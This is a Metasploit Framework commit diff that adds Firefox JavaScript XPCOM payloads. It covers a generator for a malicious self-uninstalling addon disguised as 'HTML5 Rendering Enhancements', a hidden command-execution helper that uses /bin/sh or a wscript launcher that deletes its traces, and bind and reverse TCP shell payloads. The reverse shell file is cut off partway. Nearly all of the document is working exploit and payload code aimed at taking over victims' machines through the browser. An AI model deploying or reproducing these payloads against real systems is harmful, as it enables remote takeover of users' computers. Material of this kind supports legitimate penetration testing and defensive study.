Land #2827 - Add firefox js xpcom payloads for universal ff shells
commit
cacd7ff9d4
|
@ -10,87 +10,102 @@
|
|||
module Msf
|
||||
module Exploit::Remote::FirefoxAddonGenerator
|
||||
|
||||
# for calling #generate_payload_exe
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
# Add in the supported datastore options
|
||||
def initialize( info = {} )
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Platform' => %w{ java linux osx solaris win },
|
||||
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
[ 'Universal (Javascript XPCOM Shell)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA
|
||||
'Platform' => 'firefox',
|
||||
'Arch' => ARCH_FIREFOX
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Windows x64 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'windows',
|
||||
'Arch' => ARCH_X64
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux x64 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
'Arch' => ARCH_PPC
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x64 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X64
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options( [
|
||||
OptString.new('ADDONNAME', [ true,
|
||||
"The addon name.",
|
||||
"HTML5 Rendering Enhancements"
|
||||
]),
|
||||
register_options([
|
||||
OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
|
||||
OptBool.new('AutoUninstall', [ true,
|
||||
"Automatically uninstall the addon after payload execution",
|
||||
true
|
||||
])
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
|
||||
# 'application/x-xpinstall' MIME type
|
||||
def generate_addon_xpi
|
||||
if target.name == 'Generic (Java Payload)'
|
||||
jar = p.encoded_jar
|
||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||
payload_file = jar.pack
|
||||
payload_name='payload.jar'
|
||||
payload_script=%q|
|
||||
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
|
||||
java.lang.System.setSecurityManager(null);
|
||||
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
|
||||
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
|
||||
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
|
||||
|
|
||||
# @return nil if payload fails to generate
|
||||
def generate_addon_xpi(cli)
|
||||
if target.name =~ /Javascript/
|
||||
payload_file = nil
|
||||
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
|
||||
payload_script = regenerate_payload(cli).encoded
|
||||
else
|
||||
payload_file = generate_payload_exe
|
||||
return nil if payload_file.nil?
|
||||
payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe'
|
||||
payload_script=%q|
|
||||
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
||||
process.init(tmp);
|
||||
process.run(false,[],0);
|
||||
var process=Components.classes["@mozilla.org/process/util;1"]
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
process.init(tmp);
|
||||
process.run(false,[],0);
|
||||
|
|
||||
if target.name != 'Windows x86 (Native Payload)'
|
||||
payload_script = %q|
|
||||
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
|
||||
var chmod=Components.classes["@mozilla.org/file/local;1"]
|
||||
.createInstance(Components.interfaces.nsILocalFile);
|
||||
chmod.initWithPath("/bin/chmod");
|
||||
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
||||
var process=Components.classes["@mozilla.org/process/util;1"]
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
process.init(chmod);
|
||||
process.run(true, ["+x", tmp.path], 2);
|
||||
| + payload_script
|
||||
|
@ -98,46 +113,54 @@ module Exploit::Remote::FirefoxAddonGenerator
|
|||
end
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
bootstrap_script = 'function startup(data, reason) {'
|
||||
xpi_guid = Rex::Text.rand_guid
|
||||
bootstrap_script = %q|
|
||||
function startup(data, reason) {
|
||||
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("ProfD", Components.interfaces.nsIFile);
|
||||
file.append("extensions");
|
||||
|
|
||||
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
|
||||
bootstrap_script << %Q|payload_name="#{payload_name}";|
|
||||
bootstrap_script << %q|
|
||||
file.append(xpi_guid);
|
||||
file.append(payload_name);
|
||||
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("TmpD", Components.interfaces.nsIFile);
|
||||
tmp.append(payload_name);
|
||||
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
||||
file.copyTo(tmp.parent, tmp.leafName);
|
||||
|
|
||||
|
||||
if target.name !~ /Javascript/
|
||||
bootstrap_script << %q|
|
||||
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("ProfD", Components.interfaces.nsIFile);
|
||||
file.append("extensions");
|
||||
|
|
||||
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
|
||||
bootstrap_script << %Q|payload_name="#{payload_name}";|
|
||||
bootstrap_script << %q|
|
||||
file.append(xpi_guid);
|
||||
file.append(payload_name);
|
||||
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
||||
getService(Components.interfaces.nsIProperties).
|
||||
get("TmpD", Components.interfaces.nsIFile);
|
||||
tmp.append(payload_name);
|
||||
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
||||
file.copyTo(tmp.parent, tmp.leafName);
|
||||
|
|
||||
end
|
||||
|
||||
bootstrap_script << payload_script
|
||||
|
||||
if (datastore['AutoUninstall'])
|
||||
bootstrap_script << %q|
|
||||
try { // Fx < 4.0
|
||||
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
|
||||
} catch (e) {}
|
||||
try { // Fx 4.0 and later
|
||||
Components.utils.import("resource://gre/modules/AddonManager.jsm");
|
||||
AddonManager.getAddonByID(xpi_guid, function(addon) {
|
||||
addon.uninstall();
|
||||
});
|
||||
} catch (e) {}
|
||||
function uninstallMe() {
|
||||
try { // Fx < 4.0
|
||||
Components.classes["@mozilla.org/extensions/manager;1"]
|
||||
.getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
|
||||
} catch (e) {}
|
||||
try { // Fx 4.0 and later
|
||||
Components.utils.import("resource://gre/modules/AddonManager.jsm");
|
||||
AddonManager.getAddonByID(xpi_guid, function(addon) {
|
||||
addon.uninstall();
|
||||
});
|
||||
} catch (e) {}
|
||||
}
|
||||
uninstallMe();
|
||||
|
|
||||
end
|
||||
|
||||
bootstrap_script << "}"
|
||||
|
||||
zip.add_file('bootstrap.js', bootstrap_script)
|
||||
zip.add_file(payload_name, payload_file)
|
||||
zip.add_file(payload_name, payload_file) unless payload_file.nil?
|
||||
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
|
||||
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
|
||||
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
|
||||
|
|
|
@ -516,4 +516,12 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "nodejs"
|
||||
end
|
||||
|
||||
#
|
||||
# Firefox
|
||||
#
|
||||
class Firefox < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "firefox"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,191 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'json'
|
||||
|
||||
module Msf::Payload::Firefox
|
||||
|
||||
|
||||
# Javascript source code of setTimeout(fn, delay)
|
||||
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
|
||||
def set_timeout_source
|
||||
%Q|
|
||||
var setTimeout = function(cb, delay) {
|
||||
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
|
||||
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
|
||||
return timer;
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
# Javascript source code of readFile(path) - synchronously reads a file and returns
|
||||
# its contents. The file is deleted immediately afterwards.
|
||||
#
|
||||
# @return [String] javascript source code that exposes the readFile(path) method
|
||||
def read_file_source
|
||||
%Q|
|
||||
var readFile = function(path) {
|
||||
try {
|
||||
var file = Components.classes["@mozilla.org/file/local;1"]
|
||||
.createInstance(Components.interfaces.nsILocalFile);
|
||||
file.initWithPath(path);
|
||||
|
||||
var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
|
||||
.createInstance(Components.interfaces.nsIFileInputStream);
|
||||
fileStream.init(file, 1, 0, false);
|
||||
|
||||
var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
|
||||
.createInstance(Components.interfaces.nsIBinaryInputStream);
|
||||
binaryStream.setInputStream(fileStream);
|
||||
var array = binaryStream.readByteArray(fileStream.available());
|
||||
|
||||
binaryStream.close();
|
||||
fileStream.close();
|
||||
file.remove(true);
|
||||
|
||||
return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
|
||||
} catch (e) { return ""; }
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
# Javascript source code of runCmd(str,cb) - runs a shell command on the OS
|
||||
#
|
||||
# Because of a limitation of firefox, we cannot retrieve the shell output
|
||||
# so the stdout/err are instead redirected to a temp file, which is read and
|
||||
# destroyed after the command completes.
|
||||
#
|
||||
# On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of
|
||||
# which redirects stdout.
|
||||
#
|
||||
# On windows, the command is wrapped in two "cmd /c" calls, the outer of which
|
||||
# redirects stdout. A JScript "launch" file is dropped and invoked with wscript
|
||||
# to run the command without displaying the cmd.exe prompt.
|
||||
#
|
||||
# When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the
|
||||
# javascript code between the tags is eval'd and returned.
|
||||
#
|
||||
# @return [String] javascript source code that exposes the runCmd(str) method.
|
||||
def run_cmd_source
|
||||
%Q|
|
||||
#{read_file_source}
|
||||
#{set_timeout_source}
|
||||
|
||||
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
||||
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
||||
var windows = (ua.indexOf("Windows")>-1);
|
||||
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
|
||||
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
|
||||
var runCmd = function(cmd, cb) {
|
||||
cb = cb \|\| (function(){});
|
||||
|
||||
if (cmd.trim().length == 0) {
|
||||
setTimeout(function(){ cb("Command is empty string ('')."); });
|
||||
return;
|
||||
}
|
||||
|
||||
var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
|
||||
if (js) {
|
||||
var tag = "[!JAVASCRIPT]";
|
||||
var sync = true; // avoid zalgo's reach
|
||||
var sent = false;
|
||||
var retVal = null;
|
||||
|
||||
try {
|
||||
retVal = Function('send', js[1])(function(r){
|
||||
if (sent) return;
|
||||
sent = true
|
||||
if (r) {
|
||||
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
||||
else cb(false, r+tag+"\\n");
|
||||
}
|
||||
});
|
||||
} catch (e) { retVal = e.message; }
|
||||
|
||||
sync = false;
|
||||
|
||||
if (retVal && !sent) {
|
||||
sent = true;
|
||||
setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
var shEsc = "\\\\$&";
|
||||
var shPath = "/bin/sh -c"
|
||||
|
||||
if (windows) {
|
||||
shPath = "cmd /c";
|
||||
shEsc = "\\^$&";
|
||||
var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
|
||||
.getService(Components.interfaces.nsIProperties)
|
||||
.get("TmpD", Components.interfaces.nsIFile);
|
||||
jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');
|
||||
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
|
||||
.createInstance(Components.interfaces.nsIFileOutputStream);
|
||||
stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
|
||||
stream.write(jscript, jscript.length);
|
||||
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
|
||||
stream.finish();
|
||||
} else {
|
||||
stream.close();
|
||||
}
|
||||
}
|
||||
|
||||
var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||
|
||||
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
|
||||
.getService(Components.interfaces.nsIProperties)
|
||||
.get("TmpD", Components.interfaces.nsIFile);
|
||||
stdout.append(stdoutFile);
|
||||
|
||||
if (windows) {
|
||||
var shell = shPath+" "+cmd;
|
||||
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
|
||||
var b64 = svcs.btoa(shell);
|
||||
} else {
|
||||
var shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
|
||||
shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
|
||||
}
|
||||
var process = Components.classes["@mozilla.org/process/util;1"]
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
var sh = Components.classes["@mozilla.org/file/local;1"]
|
||||
.createInstance(Components.interfaces.nsILocalFile);
|
||||
|
||||
if (windows) {
|
||||
sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
|
||||
process.init(sh);
|
||||
var args = [jscriptFile.path, b64];
|
||||
process.run(true, args, args.length);
|
||||
jscriptFile.remove(true);
|
||||
setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
|
||||
} else {
|
||||
sh.initWithPath("/bin/sh");
|
||||
process.init(sh);
|
||||
var args = ["-c", shell];
|
||||
process.run(true, args, args.length);
|
||||
setTimeout(function(){cb(false, readFile(stdout.path));});
|
||||
}
|
||||
};
|
||||
|
|
||||
end
|
||||
|
||||
# This file is dropped on the windows platforms to a temp file in order to prevent the
|
||||
# cmd.exe prompt from appearing. It is executed and then deleted.
|
||||
#
|
||||
# @return [String] JScript that reads its command-line argument, decodes
|
||||
# base64 and runs it as a shell command.
|
||||
def jscript_launcher
|
||||
%Q|
|
||||
var b64 = WScript.arguments(0);
|
||||
var dom = new ActiveXObject("MSXML2.DOMDocument.3.0");
|
||||
var el = dom.createElement("root");
|
||||
el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el);
|
||||
var stream = new ActiveXObject("ADODB.Stream");
|
||||
stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);
|
||||
stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0;
|
||||
var cmd = stream.ReadText();
|
||||
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
||||
|
|
||||
end
|
||||
end
|
|
@ -64,29 +64,30 @@ LEV_3 = 3
|
|||
#
|
||||
# Architecture constants
|
||||
#
|
||||
ARCH_ANY = '_any_'
|
||||
ARCH_X86 = 'x86'
|
||||
ARCH_X86_64 = 'x86_64'
|
||||
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
|
||||
ARCH_MIPS = 'mips'
|
||||
ARCH_MIPSLE = 'mipsle'
|
||||
ARCH_MIPSBE = 'mipsbe'
|
||||
ARCH_PPC = 'ppc'
|
||||
ARCH_PPC64 = 'ppc64'
|
||||
ARCH_CBEA = 'cbea'
|
||||
ARCH_CBEA64 = 'cbea64'
|
||||
ARCH_SPARC = 'sparc'
|
||||
ARCH_CMD = 'cmd'
|
||||
ARCH_PHP = 'php'
|
||||
ARCH_TTY = 'tty'
|
||||
ARCH_ARMLE = 'armle'
|
||||
ARCH_ARMBE = 'armbe'
|
||||
ARCH_JAVA = 'java'
|
||||
ARCH_RUBY = 'ruby'
|
||||
ARCH_DALVIK = 'dalvik'
|
||||
ARCH_PYTHON = 'python'
|
||||
ARCH_NODEJS = 'nodejs'
|
||||
ARCH_TYPES =
|
||||
ARCH_ANY = '_any_'
|
||||
ARCH_X86 = 'x86'
|
||||
ARCH_X86_64 = 'x86_64'
|
||||
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
|
||||
ARCH_MIPS = 'mips'
|
||||
ARCH_MIPSLE = 'mipsle'
|
||||
ARCH_MIPSBE = 'mipsbe'
|
||||
ARCH_PPC = 'ppc'
|
||||
ARCH_PPC64 = 'ppc64'
|
||||
ARCH_CBEA = 'cbea'
|
||||
ARCH_CBEA64 = 'cbea64'
|
||||
ARCH_SPARC = 'sparc'
|
||||
ARCH_CMD = 'cmd'
|
||||
ARCH_PHP = 'php'
|
||||
ARCH_TTY = 'tty'
|
||||
ARCH_ARMLE = 'armle'
|
||||
ARCH_ARMBE = 'armbe'
|
||||
ARCH_JAVA = 'java'
|
||||
ARCH_RUBY = 'ruby'
|
||||
ARCH_DALVIK = 'dalvik'
|
||||
ARCH_PYTHON = 'python'
|
||||
ARCH_NODEJS = 'nodejs'
|
||||
ARCH_FIREFOX = 'firefox'
|
||||
ARCH_TYPES =
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X86_64,
|
||||
|
@ -107,7 +108,8 @@ ARCH_TYPES =
|
|||
ARCH_RUBY,
|
||||
ARCH_DALVIK,
|
||||
ARCH_PYTHON,
|
||||
ARCH_NODEJS
|
||||
ARCH_NODEJS,
|
||||
ARCH_FIREFOX
|
||||
]
|
||||
|
||||
ARCH_ALL = ARCH_TYPES
|
||||
|
|
|
@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::FirefoxAddonGenerator
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -57,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def on_request_exploit(cli, request, target_info)
|
||||
if request.uri.match(/\.xpi$/i)
|
||||
print_status("Sending the malicious addon")
|
||||
send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
|
||||
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
|
||||
else
|
||||
print_status("Sending HTML")
|
||||
send_response_html(cli, generate_html(target_info))
|
||||
|
@ -76,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
<body>
|
||||
#{datastore['CONTENT']}
|
||||
<div id='payload' style='display:none'>
|
||||
if (!window.done){
|
||||
if (!window.done) {
|
||||
window.AddonManager.getInstallForURL(
|
||||
'#{get_module_uri}/addon.xpi',
|
||||
function(install) { install.install() },
|
||||
|
|
|
@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::FirefoxAddonGenerator
|
||||
|
||||
def initialize( info = {} )
|
||||
|
@ -20,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This exploit dynamically creates a .xpi addon file.
|
||||
The resulting bootstrapped Firefox addon is presented to
|
||||
the victim via a web page with. The victim's Firefox browser
|
||||
the victim via a web page. The victim's Firefox browser
|
||||
will pop a dialog asking if they trust the addon.
|
||||
|
||||
Once the user clicks "install", the addon is installed and
|
||||
|
@ -31,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uninstall the addon once the payload has been executed.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'mihi' ],
|
||||
'Author' => [ 'mihi', 'joev' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
|
||||
|
@ -41,33 +40,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
))
|
||||
end
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
if not request.uri.match(/\.xpi$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect( cli, get_resource() + '/', '')
|
||||
return
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri.match(/\.xpi$/i)
|
||||
# browser has navigated to the .xpi file
|
||||
print_status("Sending xpi and waiting for user to click 'accept'...")
|
||||
if not xpi = generate_addon_xpi(cli)
|
||||
print_error("Failed to generate the payload.")
|
||||
send_not_found(cli)
|
||||
else
|
||||
send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
|
||||
end
|
||||
else
|
||||
# initial browser request
|
||||
# force the user to access a directory-like URL
|
||||
if not request.uri.match(/\/$/)
|
||||
print_status("Redirecting request." )
|
||||
send_redirect(cli, "#{get_resource}/")
|
||||
else
|
||||
# user has navigated
|
||||
print_status("Sending response HTML." )
|
||||
send_response_html(cli, generate_html)
|
||||
end
|
||||
|
||||
print_status("Handling request..." )
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
# If we haven't returned yet, then this is a request for our xpi,
|
||||
# so build one
|
||||
p = regenerate_payload(cli)
|
||||
if not p
|
||||
print_error("Failed to generate the payload.")
|
||||
# Send them a 404 so the browser doesn't hang waiting for data
|
||||
# that will never come.
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending xpi and waiting for user to click 'accept'...")
|
||||
send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } )
|
||||
handler( cli )
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def generate_html
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/firefox'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Firefox
|
||||
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Firefox XPCOM execute command',
|
||||
'Description' => %Q|
|
||||
Runs a shell command on the OS. Never touches the disk.
|
||||
|
||||
On Windows, this command will flash the command prompt momentarily.
|
||||
You can avoid this by setting WSCRIPT to true, which drops a jscript
|
||||
"launcher" to disk that hides the prompt.
|
||||
|,
|
||||
'Author' => ['joev'],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'firefox',
|
||||
'Arch' => ARCH_FIREFOX
|
||||
))
|
||||
register_options([
|
||||
OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']),
|
||||
OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
<<-EOS
|
||||
|
||||
(function(){
|
||||
#{read_file_source if datastore['WSCRIPT']}
|
||||
#{run_cmd_source if datastore['WSCRIPT']}
|
||||
|
||||
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
||||
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
||||
var windows = (ua.indexOf("Windows")>-1);
|
||||
|
||||
var cmd = (#{JSON.unparse({ :cmd => datastore['CMD'] })}).cmd;
|
||||
if (#{datastore['WSCRIPT']} && windows) {
|
||||
runCmd(cmd);
|
||||
} else {
|
||||
var process = Components.classes["@mozilla.org/process/util;1"]
|
||||
.createInstance(Components.interfaces.nsIProcess);
|
||||
var sh = Components.classes["@mozilla.org/file/local;1"]
|
||||
.createInstance(Components.interfaces.nsILocalFile);
|
||||
var args;
|
||||
if (windows) {
|
||||
sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");
|
||||
args = ["/c", cmd];
|
||||
} else {
|
||||
sh.initWithPath("/bin/sh");
|
||||
args = ["-c", cmd];
|
||||
}
|
||||
process.init(sh);
|
||||
process.run(true, args, args.length);
|
||||
}
|
||||
})();
|
||||
|
||||
EOS
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/firefox'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Firefox
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',
|
||||
'Description' => 'Creates an interactive shell via Javascript with access to Firefox\'s XPCOM API',
|
||||
'Author' => ['joev'],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'firefox',
|
||||
'Arch' => ARCH_FIREFOX,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'firefox',
|
||||
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the JS string to use for execution
|
||||
#
|
||||
def command_string
|
||||
%Q|
|
||||
(function(){
|
||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||
var lport = #{datastore["LPORT"]};
|
||||
var rhost = "#{datastore['RHOST']}";
|
||||
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
|
||||
.createInstance(Components.interfaces.nsIServerSocket);
|
||||
serverSocket.init(lport, false, -1);
|
||||
|
||||
var listener = {
|
||||
onSocketAccepted: function(serverSocket, clientSocket) {
|
||||
var outStream = clientSocket.openOutputStream(0, 0, 0);
|
||||
var inStream = clientSocket.openInputStream(0, 0, 0);
|
||||
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
|
||||
.createInstance(Components.interfaces.nsIInputStreamPump);
|
||||
pump.init(inStream, -1, -1, 0, 0, true);
|
||||
pump.asyncRead(clientListener(outStream), null);
|
||||
}
|
||||
};
|
||||
|
||||
var clientListener = function(outStream) {
|
||||
return {
|
||||
onStartRequest: function(request, context) {},
|
||||
onStopRequest: function(request, context) {},
|
||||
onDataAvailable: function(request, context, stream, offset, count) {
|
||||
var data = NetUtil.readInputStreamToString(stream, count).trim();
|
||||
runCmd(data, function(err, output) {
|
||||
if(!err) outStream.write(output, output.length);
|
||||
});
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
#{run_cmd_source}
|
||||
|
||||
serverSocket.asyncListen(listener);
|
||||
})();
|
||||
|
|
||||
end
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/firefox'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Firefox
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
|
||||
'Description' => 'Creates an interactive shell via Javascript with access to Firefox\'s XPCOM API',
|
||||
'Author' => ['joev'],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'firefox',
|
||||
'Arch' => ARCH_FIREFOX,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
